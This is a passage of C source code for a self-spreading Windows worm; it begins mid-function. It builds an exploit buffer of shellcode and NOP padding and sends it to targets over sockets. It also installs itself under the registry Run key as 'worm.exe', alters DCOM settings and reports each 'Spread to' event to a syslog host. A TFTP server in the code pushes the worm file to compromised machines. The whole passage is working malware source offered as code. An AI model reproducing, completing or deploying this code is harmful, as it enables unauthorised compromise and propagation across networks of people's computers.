sizeof(part3)-1 + sizeof(sc)-1 + sizeof(sc2)-1 + strlen(szCmdBuf) +
sizeof(part4)-1);
sclength=sizeof(sc) + nopcount + sizeof(sc2) + strlen(szCmdBuf);
memcpy(buf2,part1,sizeof(part1)-1);
len=sizeof(part1)-1;
*(unsigned long *)(part2)=*(unsigned long *)(part2)+sclength/2;
*(unsigned long *)(part2+8)=*(unsigned long *)(part2+8)+sclength/2;
memcpy(buf2+len,part2,sizeof(part2)-1);
len=len+sizeof(part2)-1;
memcpy(buf2+len,sc,sizeof(sc)-1);
len=len+sizeof(sc)-1;
memcpy(buf2+len, nops, nopcount);
len=len+nopcount;
memcpy(buf2+len, sc2, sizeof(sc2)-1);
len=len+sizeof(sc2)-1;
memcpy(buf2+len,szCmdBuf,strlen(szCmdBuf));
len=len+strlen(szCmdBuf);

memcpy(buf2+len,part3,sizeof(part3)-1);
len=len+sizeof(part3)-1;
memcpy(buf2+len,part4,sizeof(part4)-1);
len=len+sizeof(part4)-1;
*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sclength-0xc;
*(unsigned long *)(buf2+0x10)=*(unsigned long
*)(buf2+0x10)+sclength-0xc;
*(unsigned long *)(buf2+0x80)=*(unsigned long
*)(buf2+0x80)+sclength-0xc;
*(unsigned long *)(buf2+0x84)=*(unsigned long
*)(buf2+0x84)+sclength-0xc;
*(unsigned long *)(buf2+0xb4)=*(unsigned long
*)(buf2+0xb4)+sclength-0xc;
*(unsigned long *)(buf2+0xb8)=*(unsigned long
*)(buf2+0xb8)+sclength-0xc;
*(unsigned long *)(buf2+0xd0)=*(unsigned long
*)(buf2+0xd0)+sclength-0xc;
*(unsigned long *)(buf2+0x18c)=*(unsigned long
*)(buf2+0x18c)+sclength-0xc;
}
void Exploit(SOCKET &sock){
char buf1[0x1000];
send(sock,bindstr,sizeof(bindstr),0);
recv(sock,buf1,1000, 0);
send(sock,buf2,len,0);
recv(sock,buf1,1000, 0);
return;
}

char* getLocalIP(){
char name[255];
char *retVal;
PHOSTENT hostinfo;
if(gethostname(name, sizeof(name))==0){
if((hostinfo = gethostbyname(name)) != NULL){
retVal = inet_ntoa(*(struct in_addr *)hostinfo>h_addr_list[0]);
return retVal;
}
return NULL;
}
return NULL;
}
bool Installed(){
FILE * fp;
if((fp = fopen(persistent, "r")) != NULL){
fclose(fp);
debugLog(sprintf(logMessage, "Installed\n"));

return true;
}else{
debugLog(sprintf(logMessage, "Not Installed\n"));
return false;
}
}
void Install(char * file){
DeleteFile(persistent);
CopyFile(file, persistent, false);
HKEY key;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL);
RegSetValueEx(key, "worm.exe", 0, REG_SZ, (const unsigned
char*)persistent, strlen(persistent));
RegCloseKey(key);
HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128];
strcpy(szDataBuf, "N"); dwSize=strlen(szDataBuf);
LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\OLE", 0, KEY_READ, &hkey);
RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned
char*)szDataBuf, dwSize);
RegCloseKey(hkey);
}
void Report(){
WSADATA wsaData3;
WSAStartup(MAKEWORD(2, 2), &wsaData3);
struct sockaddr_in syslog_ip;
int syslog, slen=sizeof(syslog_ip);
int count = 0;
syslog = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
memset((char *) &syslog_ip, 0, sizeof(syslog_ip));
syslog_ip.sin_family = AF_INET;
syslog_ip.sin_port = htons(514);
syslog_ip.sin_addr.s_addr = inet_addr("192.168.1.131");
count = sendto(syslog, report, sizeof(report), 0,
(SOCKADDR*)&syslog_ip, sizeof(syslog_ip));
closesocket(syslog);
WSACleanup();
return;
}
void ReportExploit(char * target_ip){
WSADATA wsaData3;
WSAStartup(MAKEWORD(2, 2), &wsaData3);
struct sockaddr_in syslog_ip;
int syslog, slen=sizeof(syslog_ip);
int count = 0;
char exploited[1000], buf[1000];

syslog = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
memset((char *) &syslog_ip, 0, sizeof(syslog_ip));
syslog_ip.sin_family = AF_INET;
syslog_ip.sin_port = htons(514);
syslog_ip.sin_addr.s_addr = inet_addr("192.168.1.131");
sprintf(exploited, "Spread to %s", target_ip);
memcpy(buf, report2, sizeof(report2));
memcpy(buf, exploited, strlen(exploited));
count = sendto(syslog, buf, (sizeof(report2)+strlen(exploited)), 0,
(SOCKADDR*)&syslog_ip, sizeof(syslog_ip));
closesocket(syslog);
WSACleanup();
return;
}
void unBind(){
WSADATA wsaData3;
WSAStartup(MAKEWORD(2, 2), &wsaData3);
struct sockaddr_in local_ip;
int local, slen=sizeof(local_ip);
int count = 0;
local = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
local_ip.sin_family = AF_INET;
local_ip.sin_port = htons(69);
local_ip.sin_addr.s_addr = inet_addr(getLocalIP());
count = sendto(local, "\x00", 1, 0, (SOCKADDR*)&local_ip,
sizeof(local_ip));
closesocket(local);
WSACleanup();
return;
}
DWORD WINAPI wait(LPVOID arg){
Sleep(10000);
unBind();
xferTimeOut = true;
return 0;
}
DWORD WINAPI tftpServer(LPVOID arg){
WSADATA wsaData2;
WSAStartup(MAKEWORD(2,2), &wsaData2);
struct sockaddr_in server_ip, target_ip;
int server, slen=sizeof(target_ip), count;
short int block = 0x00;
char buf[512];
char buf2[512];
char sendbuf[516];

xferComplete = false;
tftpRunning = false;
FILE *fp;
long filelen;
fp = fopen(filename, "rb");
fseek(fp, 0, SEEK_END);
filelen = ftell(fp);
fseek(fp, 0, SEEK_SET);
server=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
memset((char *) &server_ip, 0, sizeof(server_ip));
server_ip.sin_family = AF_INET;
server_ip.sin_port = htons(69);
server_ip.sin_addr.s_addr = inet_addr(getLocalIP());
if(bind(server, (SOCKADDR*)&server_ip, sizeof(server_ip)) ==
SOCKET_ERROR){
debugLog(sprintf(logMessage, "TFTP Server Not Listening: Bind Error: %d\n",
WSAGetLastError()));
tftpRunning = false;
fclose(fp);
closesocket(server);
WSACleanup();
return 1;
}
debugLog(sprintf(logMessage, "TFTP Server Listening\n"));
tftpRunning = true;
if (recvfrom(server, buf, 1, 0, (SOCKADDR*)&target_ip, &slen)==-1){
while((ftell(fp)<filelen) && !xferTimeOut){
block++;
count = fread(buf2, 1, 512, fp);
sendbuf[0]='\x00';
sendbuf[1]='\x03';
sendbuf[2]=(char)((block&0xFF00)>>8);
sendbuf[3]=(char)(block&0x00FF);
memcpy(sendbuf+4, buf2, count);
sendto(server, sendbuf, count+4, 0,
(SOCKADDR*)&target_ip, sizeof(target_ip));
recvfrom(server, buf, 1, 0, (SOCKADDR*)&target_ip,
&slen);
}
xferComplete = true;
debugLog(sprintf(logMessage, "Transfer to %s Complete\n",
inet_ntoa(target_ip.sin_addr)));
}
tftpRunning = false;
fclose(fp);
closesocket(server);
WSACleanup();
return 0;
}

